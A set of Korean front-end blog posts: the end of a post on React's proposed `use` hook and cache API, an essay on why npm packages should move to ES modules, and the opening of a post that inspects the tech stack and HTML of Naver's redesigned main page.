  // 이 요청은 데이터를 블로킹하지 않는다.
  const promise = fetchInfo()

  if (!showTooltip) {
    // 여기로 올경우, `promise`가 끝나던 말던 상관없이 `null`을 반환한다.
    return null
  } else {
    // 여기로 오는 경우, `use`로 거친 `promise`가 끝날 때 까지 기다렸다가 렌더링이 시작된다.
    return <Tooltip content={use(promise)} />
  }
}
```

#### 리액트로의 유연한 전환

리액트 아키텍쳐가 많은 사랑을 받았던 이유중 하나는, 리액트 아키텍쳐는 단 하나만 존재하는 것이 아니며, 여러가지 서드파티 라이브러리와 프레임워크의 혁신과 혜택을 동시에 누릴 수 있다는 점이다. 만약 리액트가 여기에서 데이터를 불러오는 공식 api를 추가하게 되면, 많은 리액트 생태계에 혼란이 빚어질 것이다.

### 상세 설계

`use`는 `async/await`과 거의 동일한 프로그래밍 모델을 제공하도록 설계되어 있지만, `async/await`과 다르게 일반 함수형 컴포넌트나 훅에서도 여전히 작동한다. 자바스크립트 비동기 함수와 유사하게, 런타임은 일시 중단 및 재개를 위해서 내부 상태를 관리하겠지만, 컴포넌트 작성자의 관점에서 보면 순차적으로 실행되는 함수 처럼 보인다.

```jsx
function Note({id}) {
  // fetch 요청은 비동기이지만, 컴포넌트 작성자는 동기 동작처럼 작성할 수 있다.
  const note = use(fetchNote(id))
  return (
    <div>
      <h1>{note.title}</h1>
      <section>{note.body}</section>
    </div>
  )
}
```

자바스크립트 스펙에 따르면, `promise`의 `resolve` 값은 fulfill 또는 rejected 여부를 항상 비동기로만 확인할 수 있다. 데이터가 이미 로딩이 완료된 시점이라 할지라도, 그 값을 동기적으로 검사해서 확인할 방법이 없다. 이는 애매모호한 순서로 인한 데이터 경합을 피하기 위해, 자바스크립트 설계에서 의도적으로 마련한 장치다.

물론 이 설계의 동기 자체는 충분히 이해가 되지만, 리액트와 같이 `props`와 `state`를 기반으로 UI를 모델링하는 프레임워크에는 문제가 된다. 상황에 따라 리액트가 선택할 수 있는 방법은 다음과 같다.

- `promise`가 완료되기 전까지 잠시 일시정지 했다가 다시 컴포넌트를 렌더링하기: 만약 `use`로 넘겨받은 `promise`의 로딩이 끝나지 않았다면 예외를 던지고, 컴포넌트의 렌더링을 일시 중단한다. 그리고 `use`의 호출이 완료되면, 이 값을 반환한다. `async/await`과 다른 차이점은 일시정지된 함수 컴포넌트는 마지막 중단된 시점에서 다시 시작되는 것이 아니라는 사실이다. 즉, 런타임은 컴포넌트의 시작과 `use`로 인해 중단된 사이의 모든 코드를 다시실행 해야 한다. 이는 리액트 컴포넌트의 멱등성에 의존한다. 즉, 렌더링 중에 외부 부수 작용이 없으며, 주어진 state, props, context 등에 대해 동일한 결과를 반환한다. 성능 최적화를 위해 리액트는 일부 계산을 따로 메모이제이션 할수도 있다. 물론 이러한 방식은 `async/await` 대비 추가적인 오버헤드가 존재한다. 그러나 컴포넌트에 대한 데이터가 이미 확인된 경우 (데이터가 미리 로드 되었거나, 이와 관련없이 부모 컴포넌트 등으로 인해 리렌더링 되는 경우) `use`로 인한 마이크로 태스크 대기열을 기다리지 않고도 값을 가져올 수 있기 때문에 오버헤드가 적다.
- 이전 `promise` 결과 그대로 읽기: 만약 `props`나 `state`가 변경된 경우, `use`의 값이 이전과 같다고 보장할 수 없다. 이 경우 다른 전략을 취해야 한다. 가장 먼저해볼 수 있는 것은, 이전에 다른 `use` 또는 다른 렌더링 시도로 인해 해당`promise`를 읽어왔었는지 확인하는 것이다. 만약 한번이라도 읽은 적이 있다면, 굳이 일시 중단하지 않더라도 동기적으로 지난번 결과를 재사용할 수도 있다. 이를 위해 리액트는 `promise`객체에 몇가지 값을 더 추가했다.
  - `status` 필드에 `pending` `fulfilled` `rejected`
  - `promise`가 이행 (fulfilled) 되었다면, `value` 필드에 이행된 값을 채워둔다.
  - `promise`가 거절 (fulfilled) 되었다면,`reason` 필드에 거절된 이유, 에러 객체를 추가한다.

  한가지 명심해야 하는 것은, 모든 `promise`에 이 값을 추가하는 것은 아니라는 것이다. 단지 `use`를 사용하는 `promise`에 대해서만 이러한 값을 추가한다. 이 덕분에 `Promise.prototype`을 오염시키지 않아도 되며, 리액트가 아닌 코드에 영향을 미치지 않게 된다. 이는 물론 자바스크립트 표준은 아니지만, 리액트가 `promise`의 결과를 추
  적하는데 도움을 준다. 만약 미래에 `Promise.inpect`와 같이 동기적으로 `Promise`의 현재 상태를 알 수 있는 api가 제공된다면, 이를 사용할 의향도 있다.

- 관련 없는 업데이트 중에 `promise` 결과 읽기: `promise` 객체에서 결과를 추적하는 것은, `promise` 객체가 렌더링 중에 변경되지 않았을 때에만 유효한 전략이다. 만약 새로운 `promise`객체가 반환된다면, 이 전략은 통하지 않는다. 그러나 대부분의 경우에는, 새로운 `promise`객체라 할지라도, 이미 데이터를 가져온 경우가 많을 것이다. 아래 코드를 살펴보자.

  ```jsx
  async function fetchTodo(id) {
    const data = await fetchDataFromCache(`/api/todos/${id}`)
    return {contents: data.contents}
  }

  function Todo({id, isSelected}) {
    const todo = use(fetchTodo(id))
    return (
      <div className={isSelected ? 'selected-todo' : 'normal-todo'}>
        {todo.contents}
      </div>
    )
  }
  ```

  `id` 값이 변경되었다면, `fetchTodo`가 새로운 데이터를 반환하는 것이 맞다. 그러나 `isSelected`값만 변경된 경우는 어떤가? `use`에게 넘겨진 `promise`객체는 다르지만, 이미 과거에 불러온 데이터일 것이다. 만약 리액트가 이러한 경우를 제대로 처리하지 못한다면, 새로운 데이터를 요청한 적이 없음에도 불구하고 이로 인해 UI가 일시 중단될 수 있다. 따라서 이를 처리할 방법이 필요하다. 이 경우 리액트는 일시 중단 하는대신, 마이크로태스크 대기열이 완전히 빌 때 까지 기다린다. 그 동안 `promise`가 `resolved`되면, 리액트는 `Suspense` `fallback`을 트리거 하지 않고 즉시 컴포넌트 렌더링을 재가한다. 만약 그 기간 동안 `resolve`되지 않으면 새로운 데이터가 요청되었다고 가정하고 평소와 같이 일시 중지한다.

  > 이부분이 조금 어려울 수도 있어 부연 설명을 추가한다. `Promise`는 마이크로 태스크에서 해결된 다는점, 그리고 `Promise`는 이미 과거에 resolve된 적이 있는 데이터라면 (비록 동기적으로 상태를 알 수 없지만) 바로 값을 resolve 한다는 특성을 이용한 것이다.

  그러나 이것이 모든 문제의 해결책은 아니다. 이는 어디까지나 데이터 요청이 캐시된 경우에만 작동한다. 더 정확히 말하면, 새로운 입력이 없이 다시 리렌더링되는 비동기 함수는 반드시 마이크로태스크 시점 내에서만 해결되어야 한다는 제약 조건이 있다. 따라서 이 `use`는 `cache` API 와 함께 출시될 예정이다. `cache`가 없이 이 `use`가 출시될일은 거의 없다. 대략 `cache`는 아래와 같은 모습이 될 것이다.

  ```jsx
  // cache 함수로 래핑 되어 있다면, `input`이 동일하다면 이 함수는 항상 같은 결과를 반환한다.
  // cache는 아마도 `invalidate`하는 기능도 추가되어야 할 것이다.
  const fetchNote = cache(async (id) => {
    const response = await fetch(`/api/notes/${id}`)
    return await response.json()
  })

  function Note({id}) {
    // id가 변경되거나 캐시가 날아가지 않는한, 항상 같은 결과를 반환한다.
    const note = use(fetchNote(id))
    return (
      <div>
        <h1>{note.title}</h1>
        <section>{note.body}</section>
      </div>
    )
  }
  ```

  요즘 대부분의 fetch 라이브러리는 이미 이러한 이슈를 피하기 위한 캐싱 매커니즘을 구비하고 있으므로, 이 `cache`없이도 `use`를 사용할 수 있을 것이다. 다만 이러한 내용은 컴포넌트에서 비동기 함수를 직접 호출할 경우에 유용할 것이다.

#### 조건부 호출

다른 훅들과 다르게, `use` 훅은 앞서 소개한 훅들과 다르게 조건부로 호출할 수 있다. 이는 데이터를 별도 컴포넌트로 분리해서 추출하는 수고로움을 덜고, 조건부로 일시 중단 할 수 있도록 하기 위함이다.

이렇게 조건부로 `use`를 호출할 수 있는 이유는 대부분의 다른 훅과 달리 컴포넌트 업데이트에 따라서 상태를 추적할 필요가 없기 때문이다. `useState`와 같은 훅은 리액트 이전 상태와 연관지을 수 있도록 동일한 위치에서 조건부로 실행되는 일 없이 실행되어야 하지만, `use`는 컴포넌트를 일단 렌더링 한뒤에는 데이터를 저장할 필요가 없다. 저장하지 않는 대신, 데이터는 `promise`와 연관된다.

### 서버 컴포넌트에서 클라이언트 컴포넌트로 promise 넘겨주기

미래애 서버 컴포넌트에서 props 형태로 클라이언트 컴포넌트에 promise를 넘기는 기능을 추가하고자 한다. props로 넘겨주는 promise를 조건에 따라 호출하거나 제어할 수 있어 유용할 것이다.

#### `use`로 할 수 있는 다른 것들

다른 훅과는 다르게, `use`를 조건부로 호출할 수 있다는 사실이 개발자들에게 혼선을 빚을 수 있지만, 리액트 팀은 충분히 이 기능이 유용하기 때문에 이러한 혼란을 감수할 가치가 있다고 믿는 것 같다. 혼란을 줄이기 위해 리액트 팀은 이 훅이 유일하게 조건부 실행을 지원하는 훅이 될 것이라 약속했고, 개발자는 이 `use`의 특징 하나만 기억하면 될 것이다.

미래에 `use`는 `promise`외에도 다른 유형도 지원하게 될 것이다. 가장 먼저 `promise`외에 지원할 타입은 바로 `Context`다. 조건부로 호출할 수 있다는 점을 제외하면, 기존의 `useContext(Context)`와 동일하다.

## FAQ

### 왜 이름이 `use` 인가여? 좀더 구체적으로 해줄 순 없나요?

이유는 크게 두가지다.

- `use`는 `promise` 뿐만 아니라, `Context`, `store` `observable` 등 다양한 타입이 될 수 있기 때문이다.
- `use`는 조건부로 쓰일 수 있는 매우 특별한 훅이다. 위 종류에 따라 `usePromise` `useConditionalContext(?)` 등으로 도 할 수 있긴 하지만, 이 경우 조건부로 쓸 수 있는 훅을 외워야 하기 때문에 `use` 하나로 묶었다.

### 왜 컴포넌트에서만 호출 가능한가요?

`use`가 조건부로 호출은 되지만, 여전히 훅인 이유는 리액트가 렌더링 될 때만 동작할 수 있기 때문이다. 따라서 `use`는 컴포넌트 또는 훅일 수 밖에 없다. 이론적으로는 리액트 컴포넌트 내지는 훅에서만 호출되는 함수 내부에서 `use`를 사용하면 동작 자체는 하지만, 컴파일러에서 에러로 처리된다.

만약 일반 함수에서 사용할 수 있도록 허용된다면, 현재의 타입시스템으로는 이를 강제할 방법이 없기 때문에 이것이 올바른 문맥안에서 실행되고 있는지 추적하는 것은 온전히 개발자의 몫으로 남을 것이다. 이는 애초에 리액트 함수와 비 리액트 함수를 구별하기 위해 `use`라는 접두사를 만든 이유기도 하다. 즉, `use`라는 접두사를 강제 함으로써 개발자가 이러한 훅이 올바른 문맥에서 실행되는지 확인하는 수고로움을 더는 것이다.

### 왜 클라이언트 컴포넌트는 async가 안되나요

원래는 비동기 클라이언트 컴포넌트를 만드는 것 또한 고려했었다. 기술적으로 가능하긴 하지만, 여기에는 많은 함정과 주의사항이 뒤딸아오므로, 이패턴을 일반적인 권장사항으로 하기엔 무리가 있었다. 런타임에서는 이러한 비동기 클라이언트 컴포넌트를 지원하기는 할 것이지만, 개발중에는 경고를 기록할 것이다. 혼란을 방지하기 위해 문서에도 이러한 비동기 클라이언트 컴포넌트에 대한 내용도 기록하지 않을 것이다.

비동기 클라이언트 컴포넌트를 권장하지 않는 가장 큰 이유 중 하나는 `prop`이 컴포넌트를 메모이제이션을 무효화하여, 마이크로태스크 최적화가 꼬이기 너무 쉽기 때문이다.

그러나 비동기 클라이언트 컴포넌트가 유효한 시나리오가 있는데, 바로 네비게이션 중에서만 데이터를 업데이트 하는 경우다. 그러나 이러한 케이스를 보장하기 위해서는 라우터의 동작과 통합되어야 하는데, 이 경우 어느정도까지 문서화되어 관리되어야할지 불분명하다. 따라서 비동기 클라이언트 컴포넌트를 완전히 금지하지는 않았다. 이는 react-router 나 nextjs 등지에서 실험을 할 것으로 보인다.

## 요약

- 리액트의 렌더링을 일시 중지하고 재개할 수 있는 최적화가 추가되면서 클라이언트에서는 이를 어떻게 처리할지 많은 고민이 있었던 것으로 보인다.
- 클라이언트 컴포넌트와 서버 컴포넌트 간의 구별을 위해 (그리고 기술적인 이유, 개발자들의 편이성 등..) `await`과 `use`라는 또다른 구분점을 둔것으로 보인다. 얼핏 생각했을 때 이는 합리적인 선택으로 보인다.
- rfc에서도 언급했듯, `cache`가 등장하기 전까지 `use`가 등장하지는 않을 것으로 보인다. 그러나 `cache`는 아직까지 rfc에 모습조차 들어내지 않았기 때문에 당분간 모습을 보이긴 어려울 것으로 보인다.
- Promise 객체에 status를 추가하는 것은 조금,, 도발적으로 보이기도한다. 심지어 `Symbol`을 사용하는 것도 아니다. 이러한 작업으로 인해 향후에 표준과 얽히는 일이 없기만을 바랄 뿐이다.
- https://github.com/reactjs/rfcs/pull/229 에서 오가는 이야기를 보니 서버 컴포넌트와 마찬가지로 리액트 커뮤니티가 많은 혼란에 빠질 것 같다. 이번 18 버전의 많은 변화가 리액트에 있어 큰 변곡점이 될 지도 모른다. 더 좋은 웹을 만들기 위한 변화로 받아드릴지, 혹은 더 많은 리액트 반대 진영을 양산하는 결과를 만들어버릴지?

---

Source: https://yceffort.kr/2023/05/why-esmodule.md
Title: 3부) 왜 esmodule 이어야 하는가?
Description: 2부는 어디갔냐구요? 내맘입니다.
Date: 2023-06-02
Tags: javascript, nodejs

# Table of Contents

## 서론

지금은 좀 지나간 이야기 이지만, esmodule이 표준으로 정착하면서 자바스크리트 개발자 사이에는 많은 갑론을박이 오간 주제가 있는데, 바로 npm 라이브러리가 이제 esmodule 만을 지원해야 하는가 였다. commonjs는 여러 가지로 브라우저 중심의 생태계에서 어울리지 않기 때문에, 이제 esmodule이 그자리를 대신해야 한다는 주장이 있었다. 물론 nodejs는 이후 버전업에도 [commonjs가 기본값을 유지하도록 만들어졌지만](https://yceffort.kr/2023/05/what-is-commonjs#nodejs-%EB%8A%94-%EC%96%B8%EC%A0%9C-commonjs%EB%A5%BC-%EC%82%AC%EC%9A%A9%ED%95%A0%EA%B9%8C), 이러한 방향성이 잘못되었다고 이야기하는 사람들도 있다. 그렇다면 왜 이렇게 `commonjs`는 미움(?) 을 받고 있는지, 왜 `esmodule`로 통일되는 미래를 꿈꾸고 있는지 살펴보자.

## 왜 esmodule로의 통일을 꿈꾸는가?

### dual package hazard

먼저 nodejs는 commonjs와 esmodule을 동시에 지원하기 위해 조건부 exports라고 하는 새로운 기능을 내놓았다. 자세한 내용은 [문서](https://nodejs.org/api/packages.html#conditional-exports)를 확인해보자. 요약하자면 다음과 같다.

```json
{
  "exports": {
    "import": "./index-module.js",
    "require": "./index-require.cjs"
  },
  "type": "module"
}
```

만약 `package.json`이 위와 같이 선언되어 있다면 `require('something')`을 하는 곳은 `exports.require`를, `import 'something'`을 하는 곳은 `exports.import`를 사용하게 된다. 이로써 사용하는 쪽의 모듈이 `esmodule`이든 `commonjs`든 상관없이 안정적으로 사용할 수 있게 되는 것이다.

그러나 이는 문제가 있다. 바로 이 `./index-module.js`와 `./index-require.js`가 동일하지 않다는 것이다. 예를 들어 `class` 생성자를 export 하는 패키지가 있다고 가정해보자. 이 패키지가 내보내는 것은 하나의 `class`이지만, 만약 `instanceof`로 `require`와 `import`를 비교하면 각각 다른 곳에 존재하는 생성자이므로 코드 상으로는 동일할지라도 `false`가 반환될 것이다. 또 객체일 경우, `require`의 객체에 값을 추가한다고 해서 `esmodule` 객체에는 또 추가가되지 않을 것이다. 엄연히 두 객체는 다르기 때문이다. 그러나 이는 사용하는 측면에서는 하나의 패키지에서 일어나는 일이기 때문에 혼란을 야기할 수 있다.

물론 대부분의 애플리케이션의 경우에는 하나의 모듈 시스템만 사용하기 때문에 발생하지 않을 것이라 생각할 수도 있다. 그러나 `a`라는 패키지가 `dual package`를 `export`하는데, `b`라는 패키지는 `commonjs`이고, `b`에서 `a`를 참조하여 `a.require`를 사용하게 된다면 이러한 점들이 문제가 될 수 있다.

이러한 문제는 [`esmodule`과 `commonjs`가 호환되지 않고](https://yceffort.kr/2020/08/commonjs-esmodules) `nodejs`가 두 패키지를 동시에 지원하기 때문에 결국 계속해서 안고 가야하는 문제다.

### 라이브러리 제작자들은 항상 commonjs와 esmodule 두개를 모두 고려해야 한다.

dual package hazard를 무시하고, 모든 모듈 시스템을 지원하기 위해 `subpath`를 사용하기로 했다고 가정해보자. 그러나 두 모듈은 태생 부터 다른 코드이고, 번들링 시에도 복잡하고 까다로운 설정을 거쳐야 하기 때문에 굉장히 귀찮다. 사실 대부분의 경우에는 toss/slash 와 같이 번들링에 모든 것 맡겨버리고, 이후 동작에 대해서는 잘되는지 설치해서 확인하는 정도일 것이다. 만약 잘되는지 확인한다고 가정하더라도, 이 작업은 2배의 복잡성을 지니게 된다. 또한 AST 생성 과정자체도 매우 다르기 때문에 정적 분석하는 것도 쉽지 않다.

### 사이즈의 크기가 두배

dual exports 는 결국 같은 코드를 다른 두 모듈 시스템으로 빌드하여 배포하기 때문에, 사이즈도 2배가 된다. 물론 이는 서비스되는 애플리케이션의 프레임워크 때문에 적절히 트리 쉐이킹이 되어 엔드 유저의 크기에는 영향을 미치지 않는다 하더라도, 여전히 문제가 된다.

제아무리 `dependencies`가 가볍다 하더라도 `node_modules`의 크기가 크다는 사실은 자바스크립트 개발자라면 누구나 알 것이다. `node_modules`의 크기 문제는 예전부터 지적되던 문제로, dual exports 시에는 이 문제를 부채질 하게 된다. `node_modules`가 커지면 CI, CD, 그리고 서버리스 환경에 큰 부담이 된다. 사용하지 도 않은 50%의 코드 때문에 설치 속도가 느려지고, 디스크 공간을 차지하며, 클라우드 환경이 대세가 되는 요즘 부담으로 자리잡게 될 것이다. 장담컨데 이러한 문제가 nodejs 서버리스 서비스가 자리잡는데 악영향을 미친다고 생각한다. 서비스 자체에는 영향이 없다하더라도, 결국 개발을 둘러싼 모든 환경에 더큰 비용이라는 악영향을 미치게 될 것이다.

### 대부분이 사용하지 않는 `require`

최근 까지 개발을 계속해서 해온 개발자라면, 마지막으로 `require`를 쓴 경험이 희미한 개발자가 대부분일 것이다. MZ한 요즘 개발자라면, `require` 존재 자체를 모를 수도 있을 것이다. 만약 내가 작성한 코드가 `require`를 사용해서 번들 된다면, 코드를 이해하고 번들링이 동작한 맥락을 이해하는 것이 더욱 어려워 질 것이다. 그리고 사실 대부분의 사람들은 `import`로 작성된 코드가 `commonjs`로 변환되는 것에 대해 관심을 가지고 있지도 않다. 대부분의 개발자들은 아무튼 `workaround`가 있으면 그만이고, 어떤식으로든 되던지 상관하지 않기도 하다.

```javascript
webpack: (config) => {
    config.module.rules.push({
      test: /\.m?js$/,
      type: 'javascript/auto',
      resolve: {
        fullySpecified: false,
      },
    });
    return config;
  },
```

> `.mjs`를 지원하지 않는 시스템에서 `.mjs`를 지원하기 위해 추가해야하는 웹팩 설정. webpack@4 기반 프로젝트 (react-scripts@5 미만 사용자라면 다 경험해보았을 것이다)

이러한 상황에서 과연 `commonjs`의 존재의미는 무엇인가? 결국 레거시로 분류된 모듈 시스템을 지원하기 위한 허들에 지나지 않게 된다.

## esmodule을 기본으로 지원하기 위한 험난한 과정

열정적인 라이브러리 개발자들은 이러한 문제점을 알고 있지만, esmodule을 기본으로 지원하기 시작한 것은 표준이 나온 시기에 비하면 비교적 최근이다. 그리고 이름만들어도 널리 알려진 라이브러리들의 경우에는 여전히 esmodule 을 지원하기 시작했다.

- typescript: 4.7 버전이 릴리즈 되고 나서야 비로소 `compilerOptions.module: "node16"`을 통해 esmodule을 지원하기 시작했다. https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-7.html
- nextjs: 12 버전에 들어서부터 esmodule을 비로소 지원했다. https://nextjs.org/blog/next-12#es-modules-support-and-url-imports 그전까지는 `.mjs`를 `import`하면 에러가 발생했다.
- jest: jest의 경우 여전히 esmodule을 지원하고 있지 못하며, 최근에 들어서야 비로 실험기능으로 지원하기 시작했다. https://jestjs.io/docs/ecmascript-modules

esmodule 이 제안되고 nodejs 에서 채택되었음에도 지금까지 커뮤니티가 미적지근한 것은, 아무래도 두 모듈 시스템이 호환되지 않는 다는 사실때문일 것이다. 이 두 모듈 시스템을 원활하게 지원하는 것은 단순히 라이브러리 개발자 뿐만 아니라, 타입스크립트나 nextjs, jest와 같이 수많은 사용자를 보유하고 있는 프레임워크에도 부담스러운 작업이라는 사실은 방증한다.

## 결국 esmodule 로 가야하지 않을까?

commonjs를 보고 있노라니, 몇 년전 웹 생태계에서 어도비 플래쉬가 사라져 가던 것이 생각나는 것 같다. 그 때만 하더라도 대부분의 웹 개발자들은 플래쉬가 사라지는 미래를 생각하지 못했다. 대부분의 홈페이지에서는 플래쉬 설치를 요구 했고, 플래쉬로 만들어진 홈페이지가 사방에 존재했고, 플래쉬 개발자들이 각광받던 시대였다. 그 때 당시에도 플래쉬 개발자들은 "너무 많은 곳에서 사용되고 있기 때문에 절대 사라지지 않을 것" 이라고 믿고 있었다. 그러나 스티브 잡스라는 강력한 인물의 드라이브와 웹 표준의 등장으로 인해 이제 웹 어디에서도 볼 수 없는 코드가 되어 버렸다.

그렇다면 결국 nodejs가 과감하게 commonjs의 손을 떼 버리고 어느날 부터 esmodule 만을 지원해야만 commonjs가 사라지는 일이 가능해질까? 사실 이러한 미래는 nodejs 팀에 스티브 잡스같이 미친 리더가 있지 않은 이상, nodejs 보다는 npm 생태계에 달려있지 않을까 싶다. npm 생태계에서 점차 commonjs를 지원하고 esmodule을 우선시 하거나, 일부 열정적인 개발자들이 나서서 commonjs의 중단을 시작해야 할 것이다. 그렇다면 nodejs 개발 팀도 생각을 고치게 될 것이다.

내부에서 라이브러리를 개발하면서, dual exports 전략으로 패키지를 배포하고 있지만 esmodule로 그냥 폭력적으로 다 넘어갔으면 하는 생각을 몇번씩이고 했다. 그 때마다 `react-scripts@3`으로 작성된 레거시 애플리케이션을 보면서 마음을 다스렸지만, 아직까지도 자바스크립트 개발 환경 여기저기에서 commonjs와 esmodule로 인한 비용을 계속해서 지불하고 있는 것이 사실이다. 언젠간 esmodule이 정식 표준으로 자리잡고, commonjs가 nodejs 문서에서 deprecated가 되는 날이 오지 않을까? @types 패키지 생태계의 미래를 상상해보면서 같이 공상을 해본다.

---

Source: https://yceffort.kr/2023/05/what-is-in-naver.md
Title: 새로 바뀐 네이버 메인 훔쳐보기
Description: 사실 나도 잘 몰라요
Date: 2023-05-30
Tags: frontend, react, web-performance

## Table Of Contents

## 들어가며

[이번에 새롭게 네이버 PC 메인이 바뀌면서](https://campaign.naver.com/naverdetails/newpc/?pcode=naver_pcanniversary) 많은 것이 바뀌었다고 한다. 내부에서 무슨 일이 일어나는지는 잘 모르지만🤔이번에 리액트 17로 새롭게 개편하면서 내부적으로도 변경된 것이 많을 것 같은데, 새롭게 개편된 네이버는 어떤 스펙으로 어떻게 만들어졌는지 직접 크롬 소스보기로 까보면서 알아보고자 한다.

> 네이버 메인 개발자가 아니기 때문에 진짜 그냥 웹사이트만 보고 배운 것들만 적어둔다. 실제 개발 내용과는 다를 수 있다는 점을 미리 경고한다.

## 기술 스택

### react@17.0.2

![naver-01](./images/naver-01.png)

가장 먼저 눈에 띄는 점은 react@17.0.2 를 사용하고 있다는 것이다. 최신 버전인 react@18을 사용하지 못하는 이유는 아마도 추측 컨데 [18버전에서 internet explorer 11 지원을 중단](https://github.com/facebook/react/blob/main/CHANGELOG.md#react-1) 했기 때문으로 보인다. `Promise` `Symbol` `Object.assgin` 폴리필을 넣어주면 될 것 같은 뉘앙스로 쓰여있긴 하지만, 아무래도 리스크가 있을 것으로 판단하여 17 만 사용하는 것으로 보인다. 대한민국에서 internet explorer 11 이 관짝으로 가지 않는 이상, 이 버전이 올라갈일은 없어보인다.

### nextjs?

한 가지 흥미로운 사실은 크롬 성능 도구로 분석한 결과, `nextjs`의 hydration 과정을 확인할 수 있다는 것이다.

![naver-02](./images/naver-02.png)

오우 매우 신기하다라고 생각하던 차에, 조금 더 알아보니, naver.com이 nextjs로 만들어진 건 아니었다. (그럼 그렇지)

![naver-03](./images/naver-03.png)

nextjs로 만들어진 것으로 추정되는 영역은 쇼핑블록 https://shopsquare.naver.com/ 으로, `iframe` 형태로 이 쇼핑 블록을 naver.com 페이지에 삽입하는 것으로 확인되었다.

이 페이지를 몇번 사용해보니, 내가 어떤 페이지에 방문했건간에 새로고침하면 무조건 1페이지로 돌아가는 것을 확인할 수 있었는데, 그에 반해 nextjs의 `pageProps`는 18페이지의 모든 정보를 다 들고 있는 것으로 확인되었다. 사용자의 방문이 예상되는 1, 2 그리고 마지막 페이지 (18)의 정보만 `getServerSideProps`로 들고 왔으면 조금 더 다운로드 해야 하는 페이지의 크기를 줄일 수 있을 것으로 보인다.

### jquery

네이버 어딘가에는 아직 jquery를 사용하는 코드가 존재하는 것으로 보인다.

![naver-04](./images/naver-04.png)

### corejs

corejs 사용도 확인할 수 있었다.

![naver-05](./images/naver-05.png)

### 스타일

소스보기로 naver.com 을 살펴보면, 단 두개의 css 파일만 존재하는 것을 볼 수 있다.

- https://ssl.pstatic.net/sstatic/search/pc/css/sp_autocomplete_220526.css
- https://pm.pstatic.net/resources/css/main.f6c8441d.css

이 두 파일의 존재로 추정해 본 게 하나 있는데, 홈페이지가 최 상단의 네이버 검색바 부터 렌더링 되지 않을 까 하는 것이다. 이 를 크롬 개발자 도구로 확인해보자.

![naver-06](./images/naver-06.png)

First Contentful Painting 시점을 확인해 본 결과, 네이버 검색바 부터 스타일이 입혀진 채로 렌더링 된 이후에 이후에 모든 내용이 그려지는 것을 볼 수 있었다.

`sp_autocomplete`는 내용이나 파일명 등으로 미루어 보아 소스 코드 내부가 아닌, 외부에서 정적으로 관리되는 파일로 보인다. 그렇게 추정하는 이유는

- 파일명에 날짜로 추정되는 버전이 존재하고
- 내부 클래스명이 module.scss 등을 사용했을 때와 다르게 난독화되어 있지 않고 정제되어 있기

때문이다.

그리고 이 두 리소스는 네트워크 차단 요청으로 선언되어 있기 때문에 최대한 다이어트를 하는 것이 좋아 보인다. `main.css`의 경우 특히 그 크기가 큰데 비해 above the fold 영역에서 사용하지 않는 스타일도 함께 존재하는 것으로 보인다.

![naver-07-1](./images/naver-07-1.png)

![naver-07-2](./images/naver-07-2.png)

`main.css`에 존재하는 스타일 중 하나는, 최근 검색어가 존재하며 사용자가 클릭을 했을 때만 필요한 스타일인 것으로 확인된다. 이런 스타일은 별도 스타일 파일로 분리한다음 `aysnc`나 `defer`를 사용하여 lazy 하게 불러오는 것이 좋다.

이러한 미사용 자바스크립트나 css 를 확인할 수 있는 좋은 방법 중 하나는 크롬 개발자 도구의 범위 (coverage)를 사용하는 것이다.

![naver-08](./images/naver-08.png)

이렇게 빨간색으로 표신된 부분이 로딩은 되었으나 실제로 사용되지 않은 영역이다. 물론 크롬 시크릿 탭으로 들어간 경우에만 해당되므로, 로그인된 사용자 등 다양한 시나리오에 따라서 미사용 스타일과 자바스크립트의 크기는 달라질 수 있으므로 이는 어디까지나 참고용으로만 사용하는 것이 좋다.

## 줄 단위로 살펴보기

트위터인가 어디선가 면접 문제로 트위터의 html을 보고 한 줄 씩 해석하라고 하는 낸다고 들었다.🤔 ~~네이버에 합격하기 위해 그런 것은 아니다.~~

> 정말로 그냥 소스보기에서 라인바인 라인으로 복사해왔기 때문에, close tag 등이 안맞을 수 있다.

### 1. `<html/>`

```html
<!doctype html>
<html lang="ko" data-dark="false" class="fzoom">
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=1190">
  <title>NAVER</title>
  <meta name="apple-mobile-web-app-title" content="NAVER" />
  <meta name="robots" content="index,nofollow" />
  <meta name="description" content="네이버 메인에서 다양한 정보와 유용한 컨텐츠를 만나 보세요" />
  <meta property="og:title" content="네이버">
  <meta property="og:url" content="https://www.naver.com/">
  <meta property="og:image" content="https://s.pstatic.net/static/www/mobile/edit/2016/0705/mobile_212852414260.png">
  <meta property="og:description" content="네이버 메인에서 다양한 정보와 유용한 컨텐츠를 만나 보세요" />
  <meta name="twitter:card" content="summary">
  <meta name="twitter:title" content="">
  <meta name="twitter:url" content="https://www.naver.com/">
  <meta name="twitter:image" content="https://s.pstatic.net/static/www/mobile/edit/2016/0705/mobile_212852414260.png">
  <meta name="twitter:description" content="네이버 메인에서 다양한 정보와 유용한 컨텐츠를 만나 보세요" />
  <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico?1">
  <link rel="apple-touch-icon-precomposed" href="https://s.pstatic.net/static/www/nFavicon96.png" />
  <link rel="apple-touch-icon" sizes="114x114" href="https://s.pstatic.net/static/www/u/2014/0328/mma_204243574.png" />
  <link rel="apple-touch-icon" href="https://s.pstatic.net/static/www/u/2014/0328/mma_20432863.png" />
  <link rel="stylesheet" href="https://ssl.pstatic.net/sstatic/search/pc/css/sp_autocomplete_220526.css">
  <script>
    window.gladsdk = window.gladsdk || {}, window.gladsdk.cmd = window.gladsdk.cmd || [], window.ndpsdk = window.ndpsdk || {}, window.ndpsdk.cmd = window.ndpsdk.cmd || [], window.ndpsdk.polyfill = window.ndpsdk.polyfill || {
      cmd: []
    };
    var g_ssc = "navertop.v5";
    window.nsc = g_ssc
  </script>
  <script async src="https://ssl.pstatic.net/tveta/libs/ndpsdk/prod/ndp-loader.js"></script>
  <script async src="https://ssl.pstatic.net/tveta/libs/glad/prod/gfp-core.js"></script>
  <script>
```

- `!doctype html`: 현재 선언된 웹페이지의 html 버전을 선언하는 일종의 지시자 역할을 한다. 이 내용은 대소문자를 구분하지 않으며, naver는 html5로 작성되어 있음을 알 수 있다. 아주 구닥다리 사이트의 경우 html 4.01의 표준인 `<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">`와 같은 방식으로 작성되어 있는데, MZ한 개발자 이므로 이런 건 딱히 다루지 않는다. 한가지 중요한 것은, 페이지 최상단에 있어야 한다는 것이다.
